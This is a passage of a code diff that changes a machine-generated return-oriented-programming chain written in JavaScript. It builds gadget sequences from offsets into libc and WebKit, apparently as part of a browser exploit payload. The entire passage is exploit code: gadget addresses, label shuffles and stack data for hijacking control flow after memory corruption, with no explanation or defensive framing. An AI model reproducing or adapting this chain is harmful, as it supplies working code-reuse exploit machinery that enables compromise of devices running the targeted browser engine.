libc_base+793877, //pop rsi ropchain+67672, //L49 webkit_base+7438103, //mov [rsi], rax -webkit_base+1786005, //mov rax, r11 +libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+67640, //L46 +ropchain+67624, //L47 webkit_base+7438103, //mov [rsi], rax -libc_base+882884, //mov rax, rcx +webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+67624, //L48 +ropchain+67656, //L48 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L48: -db([0, 0]); // 0x0 -set_gadget(libc_base+206806,); //pop rdi -//L46: +//L47: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L47: +//L46: db([48, 0]); // 0x30 +set_gadget(libc_base+206806,); //pop rdi +//L48: +db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax //L49: db([0, 0]); // 0x0 @@ -407,11 +407,11 @@ db([8, 0]); // 0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax -libc_base+792472 //pop rcx +libc_base+788575 //pop rax ]); //L52: db([8, 0]); // 0x8 -set_gadget(libc_base+788575,); //pop rax +set_gadget(libc_base+792472,); //pop rcx //L53: db([8, 0]); // 0x8 set_gadgets([ @@ -426,14 +426,14 @@ ropchain+67976, //L56 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+67944, //L55 +ropchain+67944, //L54 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L55: +//L54: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L54: +//L55: db([32, 0]); // 0x20 set_gadget(libc_base+788575,); //pop rax //L56: @@ -462,14 +462,14 @@ ropchain+68192, //L61 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+68160, //L60 +ropchain+68160, //L59 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L60: +//L59: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L59: +//L60: db([48, 0]); // 0x30 set_gadget(libc_base+788575,); //pop rax //L61: @@ -478,22 +478,22 @@ set_gadgets([ libc_base+877546, //shl rax, cl libc_base+877568, //shr rax, cl libc_base+793877, //pop rsi -ropchain+68256, //L62 +ropchain+68256, //L63 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+792472 //pop rcx ]); -//L62: +//L63: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+68312, //L64 +ropchain+68312, //L65 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L64: +//L65: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([4294967288, 4294967295]); // -0x8 @@ -501,21 +501,21 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi webkit_base+75236, //or rax, rcx libc_base+793877, //pop rsi -ropchain+68456, //L66 +ropchain+68456, //L67 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi ropchain+68472, //L68 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+68440, //L67 +ropchain+68440, //L66 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L67: +//L66: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L66: +//L67: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax //L68: @@ -523,20 +523,20 @@ db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+68592, //L70 +ropchain+68576, //L69 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi ropchain+68608, //L71 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 libc_base+793877, //pop rsi -ropchain+68576, //L69 +ropchain+68592, //L70 webkit_base+7438103, //mov [rsi], rax -libc_base+206806 //pop rdi +libc_base+792472 //pop rcx ]); //L69: db([0, 0]); // 0x0 -set_gadget(libc_base+792472,); //pop rcx +set_gadget(libc_base+206806,); //pop rdi //L70: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax @@ -654,7 +654,7 @@ set_gadgets([ libc_base+471355, //mov [rdi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+69312, //L85 +ropchain+69312, //L84 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 libc_base+793877, //pop rsi @@ -663,7 +663,7 @@ webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi webkit_base+432898 //pop r8 ]); -//L85: +//L84: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi //L86: @@ -678,7 +678,7 @@ ropchain+69432, //L88 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+69448, //L89 +ropchain+69448, //L90 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+206806 //pop rdi @@ -686,7 +686,7 @@ libc_base+206806 //pop rdi //L88: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L89: +//L90: db([0, 0]); // 0x0 set_gadgets([ libc_base+191169, //mov eax, [rdi] @@ -696,23 +696,23 @@ webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi ropchain+69632, //L94 webkit_base+7438103, //mov [rsi], rax -libc_base+50775, //mov rax, rdi +libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+69616, //L92 +ropchain+69584, //L92 webkit_base+7438103, //mov [rsi], rax -libc_base+882884, //mov rax, rcx +libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+69584, //L93 +ropchain+69616, //L93 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L93: +//L92: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi //L91: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L92: +//L93: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax //L94: @@ -738,11 +738,11 @@ db([8, 0]); // 0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax -libc_base+792472 //pop rcx +libc_base+788575 //pop rax ]); //L97: db([24, 0]); // 0x18 -set_gadget(libc_base+788575,); //pop rax +set_gadget(libc_base+792472,); //pop rcx //L98: db([24, 0]); // 0x18 set_gadgets([ @@ -757,14 +757,14 @@ ropchain+69928, //L101 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+69896, //L100 +ropchain+69896, //L99 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L100: +//L99: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L99: +//L100: db([32, 0]); // 0x20 set_gadget(libc_base+788575,); //pop rax //L101: @@ -795,16 +795,16 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+70120, //L104 +ropchain+70136, //L106 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+792472 //pop rcx +libc_base+793877 //pop rsi ]); -//L104: -db([0, 0]); // 0x0 -set_gadget(libc_base+793877,); //pop rsi //L105: db([16, 0]); // 0x10 +set_gadget(libc_base+792472,); //pop rcx +//L106: +db([0, 0]); // 0x0 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi @@ -812,7 +812,7 @@ ropchain+70224, //L107 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+70240, //L108 +ropchain+70240, //L109 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+206806 //pop rdi @@ -820,7 +820,7 @@ libc_base+206806 //pop rdi //L107: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L108: +//L109: db([0, 0]); // 0x0 set_gadgets([ libc_base+191169, //mov eax, [rdi] @@ -830,23 +830,23 @@ webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi ropchain+70424, //L113 webkit_base+7438103, //mov [rsi], rax -libc_base+50775, //mov rax, rdi +libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+70408, //L111 +ropchain+70376, //L111 webkit_base+7438103, //mov [rsi], rax -libc_base+882884, //mov rax, rcx +libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+70376, //L112 +ropchain+70408, //L112 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L112: +//L111: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi //L110: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L111: +//L112: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax //L113: @@ -880,12 +880,12 @@ db([16711680, 0]); // 0xff0000 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+70632, //L118 +ropchain+70632, //L119 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L118: +//L119: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([4294967288, 4294967295]); // -0x8 @@ -898,11 +898,11 @@ db([8, 0]); // 0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax -libc_base+792472 //pop rcx +libc_base+788575 //pop rax ]); //L120: db([8, 0]); // 0x8 -set_gadget(libc_base+788575,); //pop rax +set_gadget(libc_base+792472,); //pop rcx //L121: db([8, 0]); // 0x8 set_gadgets([ @@ -917,14 +917,14 @@ ropchain+70864, //L124 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+70832, //L123 +ropchain+70832, //L122 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L123: +//L122: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L122: +//L123: db([32, 0]); // 0x20 set_gadget(libc_base+788575,); //pop rax //L124: @@ -959,12 +959,12 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+71080, //L129 +ropchain+71080, //L130 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L129: +//L130: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([4294967288, 4294967295]); // -0x8 @@ -978,16 +978,16 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+71192, //L131 +ropchain+71208, //L133 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+792472 //pop rcx +libc_base+793877 //pop rsi ]); -//L131: -db([0, 0]); // 0x0 -set_gadget(libc_base+793877,); //pop rsi //L132: db([16, 0]); // 0x10 +set_gadget(libc_base+792472,); //pop rcx +//L133: +db([0, 0]); // 0x0 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi @@ -995,7 +995,7 @@ ropchain+71296, //L134 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+71312, //L135 +ropchain+71312, //L136 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+206806 //pop rdi @@ -1003,7 +1003,7 @@ libc_base+206806 //pop rdi //L134: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L135: +//L136: db([0, 0]); // 0x0 set_gadgets([ libc_base+191169, //mov eax, [rdi] @@ -1013,23 +1013,23 @@ webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi ropchain+71496, //L140 webkit_base+7438103, //mov [rsi], rax -libc_base+50775, //mov rax, rdi +libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+71480, //L138 +ropchain+71448, //L138 webkit_base+7438103, //mov [rsi], rax -libc_base+882884, //mov rax, rcx +libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+71448, //L139 +ropchain+71480, //L139 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L139: +//L138: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi //L137: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L138: +//L139: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax //L140: @@ -1063,12 +1063,12 @@ db([65280, 0]); // 0xff00 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+71704, //L145 +ropchain+71704, //L146 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L145: +//L146: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([4294967288, 4294967295]); // -0x8 @@ -1081,11 +1081,11 @@ db([8, 0]); // 0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax -libc_base+792472 //pop rcx +libc_base+788575 //pop rax ]); //L147: db([8, 0]); // 0x8 -set_gadget(libc_base+788575,); //pop rax +set_gadget(libc_base+792472,); //pop rcx //L148: db([8, 0]); // 0x8 set_gadgets([ @@ -1107,12 +1107,12 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+71944, //L151 +ropchain+71944, //L152 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L151: +//L152: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([4294967288, 4294967295]); // -0x8 @@ -1126,16 +1126,16 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+72056, //L153 +ropchain+72072, //L155 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+792472 //pop rcx +libc_base+793877 //pop rsi ]); -//L153: -db([0, 0]); // 0x0 -set_gadget(libc_base+793877,); //pop rsi //L154: db([16, 0]); // 0x10 +set_gadget(libc_base+792472,); //pop rcx +//L155: +db([0, 0]); // 0x0 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi @@ -1143,7 +1143,7 @@ ropchain+72160, //L156 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+72176, //L157 +ropchain+72176, //L158 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+206806 //pop rdi @@ -1151,7 +1151,7 @@ libc_base+206806 //pop rdi //L156: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L157: +//L158: db([0, 0]); // 0x0 set_gadgets([ libc_base+191169, //mov eax, [rdi] @@ -1161,23 +1161,23 @@ webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi ropchain+72360, //L162 webkit_base+7438103, //mov [rsi], rax -libc_base+50775, //mov rax, rdi +libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+72344, //L160 +ropchain+72312, //L160 webkit_base+7438103, //mov [rsi], rax -libc_base+882884, //mov rax, rcx +libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+72312, //L161 +ropchain+72344, //L161 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L161: +//L160: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi //L159: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L160: +//L161: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax //L162: @@ -1203,11 +1203,11 @@ db([8, 0]); // 0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax -libc_base+792472 //pop rcx +libc_base+788575 //pop rax ]); //L165: db([24, 0]); // 0x18 -set_gadget(libc_base+788575,); //pop rax +set_gadget(libc_base+792472,); //pop rcx //L166: db([24, 0]); // 0x18 set_gadgets([ @@ -1229,12 +1229,12 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+72664, //L169 +ropchain+72664, //L170 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L169: +//L170: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([4294967288, 4294967295]); // -0x8 @@ -1246,14 +1246,14 @@ ropchain+72800, //L173 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+72768, //L172 +ropchain+72768, //L171 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L172: +//L171: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L171: +//L172: db([32, 0]); // 0x20 set_gadget(libc_base+788575,); //pop rax //L173: @@ -1262,20 +1262,20 @@ set_gadgets([ libc_base+877546, //shl rax, cl libc_base+877568, //shr rax, cl libc_base+793877, //pop rsi -ropchain+72928, //L175 +ropchain+72912, //L174 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi ropchain+72944, //L176 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 libc_base+793877, //pop rsi -ropchain+72912, //L174 +ropchain+72928, //L175 webkit_base+7438103, //mov [rsi], rax -libc_base+206806 //pop rdi +libc_base+792472 //pop rcx ]); //L174: db([0, 0]); // 0x0 -set_gadget(libc_base+792472,); //pop rcx +set_gadget(libc_base+206806,); //pop rdi //L175: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax @@ -1419,27 +1419,27 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+73768, //L194 +ropchain+73784, //L196 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+792472 //pop rcx +libc_base+793877 //pop rsi ]); -//L194: -db([0, 0]); // 0x0 -set_gadget(libc_base+793877,); //pop rsi //L195: db([4294967288, 4294967295]); // -0x8 +set_gadget(libc_base+792472,); //pop rcx +//L196: +db([0, 0]); // 0x0 set_gadgets([ libc_base+547636, //add rax, rsi webkit_base+2997875, //mov [rax], rcx libc_base+759626, //mov rax, r8 -libc_base+792472 //pop rcx +libc_base+793877 //pop rsi ]); -//L197: -db([0, 0]); // 0x0 -set_gadget(libc_base+793877,); //pop rsi //L198: db([4294967284, 4294967295]); // -0xc +set_gadget(libc_base+792472,); //pop rcx +//L199: +db([0, 0]); // 0x0 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi @@ -1465,16 +1465,16 @@ db([0, 0]); // 0x0 //L202: set_gadgets([ libc_base+793877, //pop rsi -ropchain+74008, //L205 +ropchain+74024, //L207 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+792472 //pop rcx +libc_base+793877 //pop rsi ]); -//L205: -db([0, 0]); // 0x0 -set_gadget(libc_base+793877,); //pop rsi //L206: db([4294967284, 4294967295]); // -0xc +set_gadget(libc_base+792472,); //pop rcx +//L207: +db([0, 0]); // 0x0 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi @@ -1482,7 +1482,7 @@ ropchain+74112, //L208 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+74128, //L209 +ropchain+74128, //L210 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+206806 //pop rdi @@ -1490,7 +1490,7 @@ libc_base+206806 //pop rdi //L208: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L209: +//L210: db([0, 0]); // 0x0 set_gadgets([ libc_base+191169, //mov eax, [rdi] @@ -1500,23 +1500,23 @@ webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi ropchain+74312, //L214 webkit_base+7438103, //mov [rsi], rax -libc_base+50775, //mov rax, rdi +libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+74296, //L212 +ropchain+74264, //L212 webkit_base+7438103, //mov [rsi], rax -libc_base+882884, //mov rax, rcx +libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+74264, //L213 +ropchain+74296, //L213 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L213: +//L212: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi //L211: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L212: +//L213: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax //L214: @@ -1559,17 +1559,17 @@ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+74576, //L221 +ropchain+74576, //L220 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L221: +//L220: db([0, 0]); // 0x0 -set_gadget(libc_base+206806,); //pop rdi +set_gadget(libc_base+788575,); //pop rax //L219: db([4, 0]); // 0x4 -set_gadget(libc_base+788575,); //pop rax -//L220: +set_gadget(libc_base+206806,); //pop rdi +//L221: db([4, 0]); // 0x4 set_gadgets([ webkit_base+6227286, //movsxd rax, edi @@ -1604,21 +1604,21 @@ webkit_base+14959219, //cmp rax, rcx ; sete al webkit_base+48555, //setl al libc_base+269973, //movzx eax, al libc_base+793877, //pop rsi -ropchain+74912, //L225 +ropchain+74912, //L226 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi ropchain+74928, //L227 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+74896, //L226 +ropchain+74896, //L225 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L226: +//L225: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L225: +//L226: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax //L227: @@ -1626,24 +1626,24 @@ db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+75032, //L231 +ropchain+75032, //L230 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi ropchain+75080, //L232 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+75048, //L229 +ropchain+75064, //L231 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L231: +//L230: db([0, 0]); // 0x0 -set_gadget(libc_base+206806,); //pop rdi +set_gadget(libc_base+793877,); //pop rsi //L229: db([0, 0]); // 0x0 -set_gadget(libc_base+793877,); //pop rsi -//L230: +set_gadget(libc_base+206806,); //pop rdi +//L231: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax //L232: @@ -1688,7 +1688,7 @@ ropchain+75360, //L239 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+75376, //L240 +ropchain+75376, //L241 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+206806 //pop rdi @@ -1696,7 +1696,7 @@ libc_base+206806 //pop rdi //L239: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L240: +//L241: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] @@ -1736,12 +1736,12 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+75648, //L247 +ropchain+75648, //L248 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L247: +//L248: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -1758,16 +1758,16 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+75776, //L250 +ropchain+75792, //L252 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+792472 //pop rcx +libc_base+793877 //pop rsi ]); -//L250: -db([0, 0]); // 0x0 -set_gadget(libc_base+793877,); //pop rsi //L251: db([4294967284, 4294967295]); // -0xc +set_gadget(libc_base+792472,); //pop rcx +//L252: +db([0, 0]); // 0x0 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi @@ -1775,7 +1775,7 @@ ropchain+75880, //L253 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+75896, //L254 +ropchain+75896, //L255 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+206806 //pop rdi @@ -1783,7 +1783,7 @@ libc_base+206806 //pop rdi //L253: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L254: +//L255: db([0, 0]); // 0x0 set_gadgets([ libc_base+191169, //mov eax, [rdi] @@ -1793,23 +1793,23 @@ webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi ropchain+76080, //L259 webkit_base+7438103, //mov [rsi], rax -libc_base+50775, //mov rax, rdi +libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+76064, //L257 +ropchain+76032, //L257 webkit_base+7438103, //mov [rsi], rax -libc_base+882884, //mov rax, rcx +libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+76032, //L258 +ropchain+76064, //L258 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L258: +//L257: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi //L256: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L257: +//L258: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax //L259: @@ -1876,12 +1876,12 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+76480, //L267 +ropchain+76480, //L268 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L267: +//L268: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([4294967288, 4294967295]); // -0x8 @@ -1912,36 +1912,36 @@ libc_base+270096, //mov al, [rdi] libc_base+793877, //pop rsi ropchain+76792, //L275 webkit_base+7438103, //mov [rsi], rax -libc_base+882884, //mov rax, rcx -libc_base+793877, //pop rsi -ropchain+76760, //L272 -webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi ropchain+76744, //L273 webkit_base+7438103, //mov [rsi], rax +libc_base+882884, //mov rax, rcx +libc_base+793877, //pop rsi +ropchain+76776, //L274 +webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); //L273: db([0, 0]); // 0x0 -set_gadget(libc_base+206806,); //pop rdi -//L272: -db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L274: +//L272: db([24, 0]); // 0x18 +set_gadget(libc_base+206806,); //pop rdi +//L274: +db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax //L275: db([0, 0]); // 0x0 set_gadgets([ libc_base+877546, //shl rax, cl libc_base+793877, //pop rsi -ropchain+76848, //L276 +ropchain+76848, //L277 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+206806 //pop rdi ]); -//L276: +//L277: db([0, 0]); // 0x0 set_gadgets([ libc_base+523896, //sar edi, cl @@ -1994,12 +1994,12 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+877546, //shl rax, cl libc_base+793877, //pop rsi -ropchain+77200, //L285 +ropchain+77200, //L286 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+206806 //pop rdi ]); -//L285: +//L286: db([0, 0]); // 0x0 set_gadgets([ libc_base+523896, //sar edi, cl @@ -2052,12 +2052,12 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+877546, //shl rax, cl libc_base+793877, //pop rsi -ropchain+77552, //L294 +ropchain+77552, //L295 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+206806 //pop rdi ]); -//L294: +//L295: db([0, 0]); // 0x0 set_gadgets([ libc_base+523896, //sar edi, cl @@ -2099,30 +2099,30 @@ db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+77880, //L302 